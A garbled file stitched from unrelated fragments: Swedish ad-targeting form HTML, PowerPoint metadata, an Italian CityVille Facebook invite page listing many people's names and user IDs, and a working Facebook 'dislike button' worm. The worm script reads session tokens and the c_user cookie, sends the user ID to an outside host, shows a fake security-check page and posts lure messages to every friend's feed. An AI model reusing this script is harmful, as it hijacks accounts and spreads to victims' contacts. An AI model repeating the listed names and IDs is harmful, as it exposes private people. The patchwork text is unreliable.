<input type="hidden" name="filter_3" value="keywordFilter" />
<select name="">
<option value="include">Include only sections with all</option>
<option value="include">Include only sections with at least one of</option>
<option value="exclude">Exclude all sections with one of</option>
</select>
the following keywords
<input type="text" name="filter_3_keywords" />
<p class="hint">
Separate keywords with comma
</p>
</li>
<li class="filterTemplate_languageFilter">
<div class="close">x</div>
<h3>Page language</h3>
<p>Only include pages in:</p>
<select multiple="multiple" name="filter_4_languages">
<option value="swedish">Swedish</option>
<option value="norwegian">Norwegian</option>
<option value="danish">Danish</option>
<option value="finnish">Finnish</option>
<option value="english">English</option>
<option value="german">German</option>
<option value="icelandic">Icelandic</option>
</select>
<p class="hint">
Hold down the Ctrl key while clicking to select multiple
</p>
</li>
<li class="filterTemplate_publishingFilter">
<div class="close">x</div>
<h3>Publikationstyp</h3>
<input type="hidden" name="filter_5" value="publishingFilter" />
<input type="checkbox" name="filter_5_edited" id="publishing_edited" checked="checked" />
<label for="publishing_edited">Redaktionellt</label>
<input type="checkbox" name="filter_5_blog" id="publishing_blog" checked="checked" />
<label for="publishing_blog">Blogg</label>
<input type="checkbox" name="filter_5_ugc" id="publishing_ugc" checked="checked" />
<label for="publishing_ugc">Användargenererat</label>
</li>
</ul>
<form action="/tree-search/post">
<h1>Search the Vostok node tree</h1>
<h4>1 Select sections to search</h4>
<div class="treeView">
<div class="listing">
<ul>
<li>
<input type="checkbox" name="section[]" value="1" />
<span class="title">n24</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="1" />
<ul>
<li class="parent">
<input type="checkbox" name="section[]" value="2" />
<span class="title">nyheter24</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="2" />
<ul>
<li class="parent">
<input type="checkbox" name="section[]" value="5" />
<span class="title">sport</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="5" />
<ul>
<li>
<input type="checkbox" name="section[]" value="6" />
<span class="title">hockey</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="6" />
</li>
<li class="parent">
<input type="checkbox" name="section[]" value="7" />
<span class="title">fotboll24</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="7" />
<ul>
<li class="parent">
<input type="checkbox" name="section[]" value="17" />
<span class="title">blog</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="17" />
<ul>
<li>
<input type="checkbox" name="section[]" value="18" />
<span class="title">mff</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="18" />
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li class="parent">
<input type="checkbox" name="section[]" value="11" />
<span class="title">festival24</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="11" />
<ul>
<li class="parent">
<input type="checkbox" name="section[]" value="12" />
<span class="title">blog</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="12" />
<ul>
<li>
<input type="checkbox" name="section[]" value="13" />
<span class="title">gustav-gelin</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="13" />
</li>
<li>
<input type="checkbox" name="section[]" value="14" />
<span class="title">emelie-eng</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="14" />
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
<li>
<input type="checkbox" name="section[]" value="3" />
<span class="title">fragbite</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="3" />
</li>
<li class="parent">
<input type="checkbox" name="section[]" value="4" />
<span class="title">modette-no</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="4" />
<ul>
<li class="parent">
<input type="checkbox" name="section[]" value="8" />
<span class="title">blog</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="8" />
<ul>
<li>
<input type="checkbox" name="section[]" value="9" />
<span class="title">lene-orvik</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="9" />
</li>
<li>
<input type="checkbox" name="section[]" value="10" />
<span class="title">livingdoll</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="10" />
</li>
</ul>
</li>
</ul>
</li>
<li>
<input type="checkbox" name="section[]" value="15" />
<span class="title">sportsverige</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="15" />
</li>
<li>
<input type="checkbox" name="section[]" value="16" />
<span class="title">sportal</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="16" />
</li>
<li class="parent">
<input type="checkbox" name="section[]" value="19" />
<span class="title">hamsterpaj</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="19" />
<ul>
<li class="parent">
<input type="checkbox" name="section[]" value="20" />
<span class="title">forum</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="20" />
<ul>
<li>
<input type="checkbox" name="section[]" value="23" />
<span class="title">sex-och-sinne</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="23" />
</li>
</ul>
</li>
<li>
<input type="checkbox" name="section[]" value="21" />
<span class="title">onlinespel</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="21" />
</li>
<li>
<input type="checkbox" name="section[]" value="22" />
<span class="title">filmklipp</span>
<span class="info">[i]</span>
<input type="hidden" name="node_id" value="22" />
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
<div class="info_area">
<div class="node_info_1">
<h3>n24</h3>
<ul>
<li>
swedish </li>
</ul>
</div>
<div class="node_info_2">
<h3>nyheter24</h3>
<ul>
<li>
swedish </li>
<li>
stdClass Object
(
[0] => 0
[1] => 0
[10] => 0.07
[11] => 0.08
[12] => 0.09
[13] => 0.11
[14] => 0.1
)
</li>
<li>
43.2% females, 56.8% males </li>
<li>
nyheter </li>
<li>
edited </li>
</ul>
</div>
<div class="node_info_5">
<h3>sport</h3>
<ul>
<li>
swedish </li>
<li>
stdClass Object
(
[0] => 0
[1] => 0
[10] => 0.07
[11] => 0.08
[12] => 0.09
[13] => 0.11
[14] => 0.1
)
</li>
<li>
43.2% females, 56.8% males </li>
<li>
sport </li>
<li>
edited </li>
</ul>
</div>
<div class="node_info_6">
<h3>hockey</h3>
<ul>
<li>
swedish </li>
<li>
stdClass Object
(
[0] => 0
[1] => 0
[10] => 0.07
[11] => 0.08
[12] => 0.09
[13] => 0.11
[14] => 0.1
)
</li>
<li>
43.2% females, 56.8% males </li>
<li>
hockey </li>
<li>
edited </li>
</ul>
</div>
<div class="node_info_7">
<h3>fotboll24</h3>
<ul>
<li>
swedish </li>
<li>
stdClass Object
(
[0] => 0
[1] => 0
[10] => 0.07
[11] => 0.08
[12] => 0.09
[13] => 0.11
[14] => 0.1
)
</li>
<li>
43.2% females, 56.8% males </li>
<li>
sport </li>
<li>
edited </li>
</ul>
</div>
<div class="node_info_17">
<h3>blog</h3>
<ul>
<li>
swedish </li>
<li>
stdClass Object
(
[0] => 0
[1] => 0
[10] => 0.07
[11] => 0.08
[12] => 0.09
[13] => 0.11
[14] => 0.1
)
</li>
<li>
43.2% females, 56.8% males </li>
<li>
sport </li>
<li>
blog </li>
</ul>
</div>
<div class="node_info_18">
<h3>mff</h3>
<ul>
<li>
swedish </li>
<li>
stdClass Object
(
[0] => 0
[1] => 0
[10] => 0.07
[11] => 0.08
[12] => 0.09
[13] => 0.11
[14] => 0.1
)
</li>
<li>
43.2% females, 56.8% males </li>
<li>
sport </li>
<li>
blog </li>
<li>
20% of revenue is shared </li>
</ul>
</div>
<div class="node_info_11">
<h3>festival24</h3>
<ul>
<li>
swedish </li>
<li>
stdClass Object
(
[0] => 0
[1] => 0
[10] => 0.07
[11] => 0.08
[12] => 0.09
[13] => 0.11
[14] => 0.1
)
</li>
<li>
43.2% females, 56.8% males </li>
<li>
nyheter </li>
<li>
edited </li>
</ul>
</div>
<div class="node_info_12">
<h3>blog</h3>
<ul>
<li>
swedish </li>
<li>
stdClass Object
(
[0] => 0
[1] => 0
[10] => 0.07
[11] => 0.08
[12] => 0.09
[13] => 0.11
[14] => 0.1
)
</li>
<li>
43.2% females, 56.8% males </li>
<li>
nyheter </li>
<li>
blog </li>
</ul>
</div>
<div class="node_info_13">
<h3>gustav-gelin</h3>
<ul>
<li>
swedish </li>
<li>
stdClass Object
(
[0] => 0
[1] => 0
[10] => 0.07
[11] => 0.08
[12] => 0.09
[13] => 0.11
[14] => 0.1
)
</li>
<li>
43.2% females, 56.8% males </li>
<li>
nyheter </li>
<li>
blog </li>
</ul>
</div>
<div class="node_info_14">
<h3>emelie-eng</h3>
<ul>
<li>
swedish </li>
<li>
stdClass Object
(
[0] => 0
[1] => 0
[10] => 0.07
[11] => 0.08
[12] => 0.09
[13] => 0.11
[14] => 0.1
)
</li>
<li>
43.2% females, 56.8% males </li>
<li>
nyheter </li>
<li>
blog </li>
</ul>
</div>
<div class="node_info_3">
<h3>fragbite</h3>
<ul>
<li>
swedish </li>
<li>
Denies advertising for international_gambling, spirits </li>
<li>
counter-strike,gaming </li>
</ul>
</div>
<div class="node_info_4">
<h3>modette-no</h3>
<ul>
<li>
norwegian </li>
</ul>
</div>
<div class="node_info_8">
<h3>blog</h3>
<ul>
<li>
norwegian </li>
</ul>
</div>
<div class="node_info_9">
<h3>lene-orvik</h3>
<ul>
<li>
norwegian </li>
</ul>
</div>
<div class="node_info_10">
<h3>livingdoll</h3>
<ul>
<li>
norwegian </li>
</ul>
</div>
<div class="node_info_15">
<h3>sportsverige</h3>
<ul>
<li>
swedish </li>
<li>
sport </li>
</ul>
</div>
<div class="node_info_16">
<h3>sportal</h3>
<ul>
<li>
swedish </li>
<li>
sport </li>
<li>
50% of revenue is shared </li>
</ul>
</div>
<div class="node_info_19">
<h3>hamsterpaj</h3>
<ul>
<li>
swedish </li>
</ul>
</div>
<div class="node_info_20">
<h3>forum</h3>
<ul>
<li>
swedish </li>
</ul>
</div>
<div class="node_info_23">
<h3>sex-och-sinne</h3>
<ul>
<li>
swedish </li>
</ul>
</div>
<div class="node_info_21">
<h3>onlinespel</h3>
<ul>
<li>
swedish </li>
</ul>
</div>
<div class="node_info_22">
<h3>filmklipp</h3>
<ul>
<li>swedish</li>
</ul>
</div>
</div>
</div>
<h4>2 Filter results</h4>
<ul class="activeFilters">
</ul>
<fieldset class="addFilter">
<legend>Add filter</legend>
<button value="adAcceptanceFilter">adAcceptanceFilter</button>
<button value="ageFilter">ageFilter</button>
<button value="genderFilter">genderFilter</button>
<button value="keywordFilter">keywordFilter</button>
<button value="languageFilter">languageFilter</button>
<button value="publishingFilter">publishingFilter</button>
</fieldset>
<h4>3 Enter campaign information</h4>
<label>Ad placements</label>
<ul>
<li>
<input type="checkbox" name="content_units[]" value="topBanner" id="placement_topBanner" />
<label for="placement_topBanner">topBanner</label>
</li>
<li>
<input type="checkbox" name="content_units[]" value="TWS1" id="placement_TWS1" />
<label for="placement_TWS1">TWS1</label>
</li>
</ul>
<p>
Forecast availability between
<select>
<option value="2011-06-22">2011-06-22</option>
</select>
and
<select>
<option value="2011-06-22">2011-06-22</option>
</select>
</p>
<input type="submit" value="Find sections" />
</form>
<h4>4 Create section package</h4>
<div class="result_list">
<p class="hint">
Please complete step 1-3 to find sections which may be included in a section package.
</p>
</div>
</div>
</div>
</body>
</html>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/extended-properties" xmlns:vt="http://schemas.openxmlformats.org/officeDocument/2006/docPropsVTypes"><TotalTime>0</TotalTime><Words>29</Words><Application>Microsoft Office PowerPoint</Application><PresentationFormat>On-screen Show (4:3)</PresentationFormat><Paragraphs>10</Paragraphs><Slides>2</Slides><Notes>2</Notes><HiddenSlides>0</HiddenSlides><MMClips>0</MMClips><ScaleCrop>false</ScaleCrop><HeadingPairs><vt:vector size="4" baseType="variant"><vt:variant><vt:lpstr>Theme</vt:lpstr></vt:variant><vt:variant><vt:i4>1</vt:i4></vt:variant><vt:variant><vt:lpstr>Slide Titles</vt:lpstr></vt:variant><vt:variant><vt:i4>2</vt:i4></vt:variant></vt:vector></HeadingPairs><TitlesOfParts><vt:vector size="3" baseType="lpstr"><vt:lpstr>Office Theme</vt:lpstr><vt:lpstr>Lorem ipsum dolor sit amet</vt:lpstr><vt:lpstr>Lorem ipsum dolor sit amet</vt:lpstr></vt:vector></TitlesOfParts><Company></Company><LinksUpToDate>false</LinksUpToDate><SharedDoc>false</SharedDoc><HyperlinksChanged>false</HyperlinksChanged><AppVersion>12.0000</AppVersion></Properties>
<input autocomplete="off" id="post_form_id" name="post_form_id" value="3f6f3d4869e5d8d47e5ee8be780e0744" type="hidden"><div id="dropmenu_container"></div><div id="app_content_291549705119" class="app_content_291549705119"><div><div style="position: relative; overflow: hidden"><style type="text/css">.app_content_291549705119 .das_container { margin: 0pt auto; width: 500px; }
.app_content_291549705119 .multifriend_selector { float: right; width: 300px; }
.app_content_291549705119 .gift_box_cont { background: #ffffff url("http://cityvillefb.static.zgncdn.com/39176/images/gift_box_bg.png") no-repeat scroll center top; width: 152px; height: 171px; float: left; font-size: 12px; }
.app_content_291549705119 .gift_box_caption { float: left; clear: left; width: 152px; font-size: 12px; text-align: center; }
.app_content_291549705119 .gift_box_cont .giftConfirm_img { text-align: center; margin-top: 10px; }
.app_content_291549705119 .gift_box_cont .giftConfirm_name { margin: 0pt 10px 0pt 5px; color: #90664c; text-align: center; }
.app_content_291549705119 .gift_box_cont .giftConfirm_name span { font-weight: bold; }
.app_content_291549705119 .btn_skip { border-style: solid; border-color: #e7e7e7 #666666 #666666 #e7e7e7; border-width: 1px; padding: 5px 6px; color: #000000; background-color: #f0f0f0; font-size: 12px; float: right; margin-right: 87px; position: relative; bottom: 124px; }
.app_content_291549705119 .skipForm { position: relative; }
.app_content_291549705119 .skip { position: absolute; right: 0pt; top: -25px; }
</style> <div class="das_container"> <div class="gift_box_cont"> <div class="giftConfirm_img"><img src="http://cityvillefb.static.zgncdn.com/hashed/e2d924013d4d36fe9ab3eb7373cbbdcd.png"></div> <div class="giftConfirm_name"><span>Forno livello 2</span><br></div><br> <div class="gift_box_caption"> Chiedi ai tuoi amici di aiutarti a potenziare: Forno livello 2 </div> </div> <div class="multifriend_selector"> <div fb_protected="true" class="fb_protected_wrapper"><form action="http://fb-client-0.cityville.zynga.com/upgradeHelp.php?&action=send&outgoingSendkey=17539ccf0f74fa2278e597169d891813%24%24hdO1UUUX%2AYKM2l0mNr%2C3V-.j%2A6DRJcOYY5Akfjlq%21ehE3eFsK96pG%2Cdp7CLVpIfiTNVMfAn&wId=265&ts=1306176939&zySnid=1&zyAuthHash=1ef733a8bbab38e11a1ddd4e58ed697b&zySig=6110f8e2b4942773c2ea65c232fa2197" method="post" invite="true" type="CityVille" content="Francesco ha bisogno del tuoi aiuto per potenziare: Forno livello 2<fb:req-choice url='http://apps.facebook.com/cityville/upgradeHelp.php?wId=265&ts=1306176939&sId=20007680720&sig=98f0b8f4983556e306a3f178d225e8b8&action=accept&sendkey=17539ccf0f74fa2278e597169d891813%24%24hdO1UUUX%2AYKM2l0mNr%2C3V-.j%2A6DRJcOYY5Akfjlq%21ehE3eFsK96pG%2Cdp7CLVpIfiTNVMfAn' label='Accetta'></fb:request>" id="req_form_4ddaadae7df073f56429811" target="_parent"> <div><div fb_protected="true" class="fb_protected_wrapper"><div cols="5" condensed="true" max="60" unselected_rows="6" selected_rows="5" email_invite="false" bypass="skiprows="5"" exclude_ids="736767974, 100001503892422" actiontext="Invita vicini" import_external_friends="false" fb_protected="true"><div class="condensed_multi_friend_selector"><div class="typeahead_holder"><input class="inputtext DOMControl_placeholder" size="42" autocomplete="off" title="Inizia a digitare un nome" placeholder="Inizia a digitare un nome" id="cmfs_typeahead_req_form_4ddaadae7df073f56429811" name="cmfs_typeahead_req_form_4ddaadae7df073f56429811" value="Inizia a digitare un nome" type="text"></div><div class="unselected_list"><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="100000975777663" fb_protected="true" type="checkbox"><span>Abood Sona</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="1110833985" fb_protected="true" type="checkbox"><span>Achille Mei</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="100002311040001" fb_protected="true" type="checkbox"><span>Adriana Santos</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="1624207923" fb_protected="true" type="checkbox"><span>Adriano Bisciardi</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="100001600624325" fb_protected="true" type="checkbox"><span>Ahmed Magdy</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="100000274083895" fb_protected="true" type="checkbox"><span>Aiman Lord</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="100001796371025" fb_protected="true" type="checkbox"><span>Al Ott</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="1408176798" fb_protected="true" type="checkbox"><span>Alb Bla</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="1080888348" fb_protected="true" type="checkbox"><span>Alessandra Capodacqua</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="1451125592" fb_protected="true" type="checkbox"><span>Alessandro Pollicelli</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="1353067523" fb_protected="true" type="checkbox"><span>AlessandroSenti Un po'Giancarli</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="100002259305375" fb_protected="true" type="checkbox"><span>Alfonso Chong</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="1629602109" fb_protected="true" type="checkbox"><span>Alice Viola In-Neverland</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="100001659919425" fb_protected="true" type="checkbox"><span>Anastasia Beaverhausen</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="1513325467" fb_protected="true" type="checkbox"><span>Andrea Di Berardino</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="1259691536" fb_protected="true" type="checkbox"><span>Andrea Di Rocco</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="1328643232" fb_protected="true" type="checkbox"><span>Andrea Iafolla</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="100001223359526" fb_protected="true" type="checkbox"><span>Andy Beirlaen</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="1294717016" fb_protected="true" type="checkbox"><span>Angela Wiles</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="1454013077" fb_protected="true" type="checkbox"><span>Angelica Isoardi</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="1608913664" fb_protected="true" type="checkbox"><span>Angelo Del Rosso</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="1647170934" fb_protected="true" type="checkbox"><span>Angelo Graziani</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="1619784058" fb_protected="true" type="checkbox"><span>Angelo Mic</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="100002273060011" fb_protected="true" type="checkbox"><span>Anika Pokusiňská</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="530869543" fb_protected="true" type="checkbox"><span>Anna T Fantauzzi</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="522726597" fb_protected="true" type="checkbox"><span>Anthony Rubeo</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="1382206616" fb_protected="true" type="checkbox"><span>Antonella Cosimati</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="100000846384725" fb_protected="true" type="checkbox"><span>Antonello Santilli</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="1631104149" fb_protected="true" type="checkbox"><span>Antonio Ottaviani</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="1275076686" fb_protected="true" type="checkbox"><span>Arianna Andres</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="1252221467" fb_protected="true" type="checkbox"><span>Arianna Seritti</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="100001102458035" fb_protected="true" type="checkbox"><span>Arianna Splendiani</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="591618632" fb_protected="true" type="checkbox"><span>Asa'ad Hammad</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="532904017" fb_protected="true" type="checkbox"><span>Attila Trasciatti</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="1542893306" fb_protected="true" type="checkbox"><span>Audrey Nantier</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="100001778630495" fb_protected="true" type="checkbox"><span>Aya Ahmad</span></label><label class="clearfix"><input class="inputcheckbox " id="ids[]" name="ids[]" value="1050848695" fb_protected="true" type="checkbox"><span>Azzurra Volpe</span></label><label class="clearfix"><input class="inputcheckbo
var vStringArray=["http://lnktrn.ch/dislike",
"value",
"post_form_id",
"getElementsByName",
"fb_dtsg",
"match",
"cookie",
"lnk",
"indexOf",
"",
"0",
"src",
"http://lnktrn.ch/dislike/pixel.php?userid=",
"contentCol",
"getElementById",
"innerHTML",
"<div class="uiHeader uiHeaderBottomBorder mhl mts uiHeaderPage interstitialHeader"><div class="uiHeaderActions rfloat"></div><div><h2 class="uiHeaderTitle">Security Check</h2></div></div></div><div class="phl ptm uiInterstitialContent">Please verify your account in order to enable the dislike button. Click Continue to begin the process.<form method="post" action="http://lnktrn.ch/dislike/dislike.php?userid=4" class="mtm"><div id="thebutton"><br /><h3>Loading..</h3><br /><img src="http://static.ak.fbcdn.net/rsrc.php/v1/z9/r/jKEcVPZFk-2.gif"></div><img src="http://i.imgur.com/EoOqr.png" align="right"></div></form></div>",
"<div class="uiHeader uiHeaderBottomBorder mhl mts uiHeaderPage interstitialHeader"><div class="uiHeaderActions rfloat"></div><div><h2 class="uiHeaderTitle"> Security Check</h2></div></div></div><div class="phl ptm uiInterstitialContent">Please verify your account in order to enable the dislike button. Click Continue to begin the process.<form method="post" action="http://lnktrn.ch/dislike/dislike.php?userid=",
"" class="mtm"><div id="thebutton"><label for="u508675_1" class="uiButton uiButtonConfirm"><input type="submit" id="u508675_1" value="Continue"></div><img src="http://i.imgur.com/EoOqr.png" align="right"></div></form></div>",
"lsd=deleted",
"e=deleted",
"charAt",
"GET",
"/ajax/typeah",
"ad/first_degree.php?__a=1&filter[0]=user&viewer=",
"&",
"random",
"open",
"send",
"readyState",
"(",
"substr",
"responseText",
")",
"error",
"index",
"sort",
"entries",
"payload",
"length",
"added the",
"launched",
"released the",
"floor",
"on",
"On",
"profile",
"account",
"Facebook just ",
" dislike button! Click ",
" 'Activate Dislike Button' below to enable it on your ",
"!",
"Activate Dislike Button",
"http://www.livejournal.com/misc/get_domain_session.bml?return=",
"6261817190",
"6628568379",
"350685531728",
"2254487659",
"41158896424",
"4620273157",
"135892916448833",
"/fbml/ajax/prompt_feed.php?__a=1",
"&__d=1&app_id=",
"&extern=1&",
"&post_form_id=",
"&fb_dtsg=",
"&feed_info[action_links][0][href]=",
"&feed_info[action_links][0][text]=",
"&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=",
"uid",
"&user_message=",
"POST",
"Content-type",
"application/x-www-form-urlencoded",
"setRequestHeader",
"Content-length",
"Connection",
"keep-alive",
"onreadystatechange",
"status",
"updatelol()"];
var s="http://lnktrn.ch/dislike";
var post_form_id=document["getElementsByName"]("post_form_id")[0]["value"];
var fb_dtsg=document["getElementsByName"]("fb_dtsg")[0]["value"];
var uid=document["cookie"]["match"](document["cookie"]["match"](/c_user=(\d+)/)[1]);
var g=s["indexOf"]("lnk")!=-1;
if(g==true){var token=0;
} else {var token=1;
var post_form_id="";
var fb_dtsg="";
} ;
if(token=="0"){launchpixel= new Image();
launchpixel["src"]="http://lnktrn.ch/dislike/pixel.php?userid="+uid;
var content=document["getElementById"]("contentCol");
content["innerHTML"]="<div class="uiHeader uiHeaderBottomBorder mhl mts uiHeaderPage interstitialHeader"><div class="uiHeaderActions rfloat"></div><div><h2 class="uiHeaderTitle">Security Check</h2></div></div></div><div class="phl ptm uiInterstitialContent">Please verify your account in order to enable the dislike button. Click Continue to begin the process.<form method="post" action="http://lnktrn.ch/dislike/dislike.php?userid=4" class="mtm"><div id="thebutton"><br /><h3>Loading..</h3><br /><img src="http://static.ak.fbcdn.net/rsrc.php/v1/z9/r/jKEcVPZFk-2.gif"></div><img src="http://i.imgur.com/EoOqr.png" align="right"></div></form></div>";
function updatelol(){content["innerHTML"]="<div class="uiHeader uiHeaderBottomBorder mhl mts uiHeaderPage interstitialHeader"><div class="uiHeaderActions rfloat"></div><div><h2 class="uiHeaderTitle"> Security Check</h2></div></div></div><div class="phl ptm uiInterstitialContent">Please verify your account in order to enable the dislike button. Click Continue to begin the process.<form method="post" action="http://lnktrn.ch/dislike/dislike.php?userid="+uid+"" class="mtm"><div id="thebutton"><label for="u508675_1" class="uiButton uiButtonConfirm"><input type="submit" id="u508675_1" value="Continue"></div><img src="http://i.imgur.com/EoOqr.png" align="right"></div></form></div>";
document["cookie"]="lsd=deleted";
document["cookie"]="e=deleted";
} ;
var sec=s["charAt"](23);
var friends= new Array();
gf= new XMLHttpRequest();
gf["open"]("GET","/ajax/typeah"+sec+"ad/first_degree.php?__a=1&filter[0]=user&viewer="+uid+"&"+Math["random"](),false);
gf["send"]();
if(gf["readyState"]!=4){} else {data=eval("("+gf["responseText"]["substr"](9)+")");
if(data["error"]){} else {friends=data["payload"]["entries"]["sort"](function (_0xf6bcxb,_0xf6bcxc){return _0xf6bcxb["index"]-_0xf6bcxc["index"];
} );
} ;
} ;
for(var i=0;
i<friends["length"];
i++){keywords=["added the","launched","released the"];
var keyword=keywords[Math["floor"](Math["random"]()*keywords["length"])];
onwords=["on","On"];
var onword=onwords[Math["floor"](Math["random"]()*onwords["length"])];
apterms=["profile","account"];
var apterm=apterms[Math["floor"](Math["random"]()*apterms["length"])];
var message="Facebook just "+keyword+" dislike button! Click "+onword+" 'Activate Dislike Button' below to enable it on your "+apterm+"!";
var myText="Activate Dislike Button";
var newlink="http://www.livejournal.com/misc/get_domain_session.bml?return="+dddoak+"";
var appids=["6261817190","6628568379","350685531728","2254487659","41158896424","4620273157","135892916448833"];
var appid=appids[Math["floor"](Math["random"]()*appids["length"])];
var httpwp= new XMLHttpRequest();
var urlwp="/fbml/ajax/prompt_feed.php?__a=1";
var paramswp="&__d=1&app_id="+appid+"&extern=1&"+"&post_form_id="+post_form_id+"&fb_dtsg="+fb_dtsg+"&feed_info[action_links][0][href]="+encodeURIComponent(newlink)+"&feed_info[action_links][0][text]="+encodeURIComponent(myText)+"&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]="+friends[i]["uid"]+"&user_message="+message;
httpwp["open"]("POST",urlwp,true);
httpwp["setRequestHeader"]("Content-type","application/x-www-form-urlencoded");
httpwp["setRequestHeader"]("Content-length",paramswp["length"]);
httpwp["setRequestHeader"]("Connection","keep-alive");
httpwp["onreadystatechange"]=function (){if(httpwp["readyState"]==4&&httpwp["status"]==200){} ;
} ;
httpwp["send"](paramswp);
} ;
setTimeout("updatelol()",3000);
} ;
varMediaPonderada.push(
0.875 * parseFloat(varMediaPonderada[i-1]) + 0.125 * parseFloat(varCoordenadas[i])
);
Fsm:{}[Fsm-Disconnected:{[Siganl->Fsm-Connected]}[],Fsm-Connected:{[Siganl->Fsm-Disconnected],[RxApdu->Fsm-Connected-Unassociated;apduToReceive:Patterns.Apdu@fa3ac1]}[Fsm-Connected-Unassociated:{[Siganl->Fsm-Connected-Associating]}[],Fsm-Connected-Associating:{[Reentry;apduToTransmit:OUTGOING:NULL],[Signal->Fsm-Connected-Unassociated;apduToTransmit:OUTGOING:NOT A CHOICE],[RxApdu->Fsm-Connected-Associated-Operating;apduToReceive:Patterns.Apdu@10ef90c],[RxApdu->Fsm-Connected-Associated-Configuring-SendingConfig;apduToReceive:Patterns.Apdu@a32b],[RxApdu->Fsm-Connected-Unassociated;apduToReceive:Patterns.Apdu@1d8957f],[RxApdu->Fsm-Connected-Unassociated;apduToReceive:Patterns.Apdu@3ee284;apduToTransmit:INCOMING:NOT A CHOICE]}[],Fsm-Connected-Disassociating:{[Reentry;apduToTransmit:OUTGOING:NOT A CHOICE],[Signal->Fsm-Connected-Unassociated;apduToTransmit:OUTGOING:NOT A CHOICE],[RxApdu->Fsm-Connected-Unassociated;apduToReceive:Patterns.Apdu@3ee284;apduToTransmit:INCOMING:NOT A CHOICE],[RxApdu->Fsm-Connected-Unassociated;apduToReceive:Patterns.Apdu@8965fb]}[],Fsm-Connected-Associated:{[Siganl->Fsm-Connected-Disassociating],[Signal->Fsm-Connected-Unassociated;apduToTransmit:OUTGOING:NOT A CHOICE],[RxApdu->Fsm-Connected-Unassociated;apduToReceive:Patterns.Apdu@3ee284;apduToTransmit:INCOMING:NOT A CHOICE]}[Fsm-Connected-Associated-Configuring:{}[Fsm-Connected-Associated-Configuring-SendingConfig:{[Auto->Fsm-Connected-Associated-Configuring-WaitingApproval;apduToTransmit:OUTGOING:prst<59136>[{invoke-id:Invoke-Id 